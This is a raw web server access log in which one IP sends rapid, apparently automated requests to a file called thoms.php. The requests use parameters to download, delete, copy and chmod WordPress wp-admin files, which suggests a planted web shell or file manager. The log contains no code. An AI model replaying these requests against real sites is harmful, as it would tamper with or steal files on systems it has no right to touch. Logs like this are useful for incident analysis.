45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?dl=edit-form-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=edit-form-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?chmod=export-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=export-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?del=link-add.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=link-add.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=edit-form-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?dl=plugins.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=plugins.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22321 "https://163.245.207.76:443/thoms.php?chmod=export-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22349 "https://163.245.207.76:443/thoms.php?del=link-add.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=plugins.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Ftheme-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Ftheme-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?chmod=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Ftheme-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=upload.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcss HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=update.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/options-head.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/widgets-form.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?del=custom-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=custom-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=custom-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:49 -0400] "GET /thoms.php?del=press-this.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=press-this.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin-header.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fload-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fload-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22264 "https://163.245.207.76:443/thoms.php?del=press-this.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=admin-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fload-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/options-media.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmedia.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmedia.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/edit.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmedia.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/upgrade-functions.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fauthorize-application.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fauthorize-application.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?dl=credits.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=credits.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22292 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fauthorize-application.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=credits.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?dl=admin-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=admin-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?chmod=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?dl=admin-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?dl=custom-background.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=custom-background.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-comments.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=custom-background.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-tags.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-tags.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/custom-header.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-tags.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?dl=freedoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=freedoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22288 "https://163.245.207.76:443/thoms.php?dl=freedoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fadmin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Ferase-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Ferase-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Ferase-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmy-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmy-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?del=edit-form-advanced.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=edit-form-advanced.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fmy-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22219 "https://163.245.207.76:443/thoms.php?del=edit-form-advanced.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?dl=export-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=export-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?dl=link-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=link-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22241 "https://163.245.207.76:443/thoms.php?dl=export-personal-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=link-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-general.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-general.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fsite-health-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fsite-health-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Foptions-general.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22265 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fsite-health-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=upgrade.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=upgrade.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=upgrade.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /thoms.php?chmod=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /thoms.php?chmod=freedoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=freedoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?chmod=media.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
